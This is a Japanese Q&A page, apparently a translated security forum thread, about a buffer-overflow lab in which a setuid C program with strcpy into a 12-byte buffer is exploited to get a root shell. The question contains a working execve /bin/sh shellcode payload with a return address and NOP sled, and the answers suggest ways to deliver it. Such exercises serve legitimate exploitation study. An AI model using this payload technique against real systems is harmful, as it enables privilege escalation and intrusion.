web-dev-qa-db-ja.com

特権のエスカレーションがgdb外で失敗する

次のソースコードを持つアプリケーションがあります。

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int bof(char *str)
{
    char buffer[12];

    strcpy(buffer, str);

    return 1;
}

int main(int argc, char **argv)
{
    char str[517];
    FILE *badfile;

    badfile = fopen("badfile", "r");
    fread(str, sizeof(char), 517, badfile);
    bof(str);

    printf("Returned Properly\n");
    return 1;
}

bof内でstrcpy(buffer, str)を使用して、バッファオーバーフローを使用して特権エスカレーションを実現しようとしています。次のコマンドを使用してgdb内で新しいシェルを開くことができます:python -c 'print "A" * 24 + "\x60\xf1\xff\xbf" + "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"' > badfile
gdb以外では、メモリアドレスが少し変わることを知っているので、いくつかのnopsを使用して同じコマンドを試してみました:python -c 'print "A" * 24 + "\x60\xf1\xff\xbf" + "\x90" * 30 + "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"' > badfile
ASLR、NXビット、スタックカナリアを無効にしました。上記の最後のコマンドの結果はIllegal instruction (core dumped)ですが、ここで何が問題になっていますか? (ルートとしてのアプリケーションのsuidビットが有効になっています)

5
user2581671

用語に慣れる必要があります。あなたがしようとしていることは、特権の昇格とは何の関係もありません。やりたいことは、バッファオーバーフローによるコード実行です。 stdin(gets)からバッファをオーバーフローさせるための入力を読み取ることをお勧めします。これは、ファイルから読み取るよりもはるかに簡単です。その後、行うことができます

python -c "<python encoded binary payload>" | yourprogram

これでうまくいくはずです。

1
kaidentity

ペイロードをpythonプログラムに入れ、コードをpython payload.py; cat | /home/user/codeとして呼び出すことができます。

0
ashish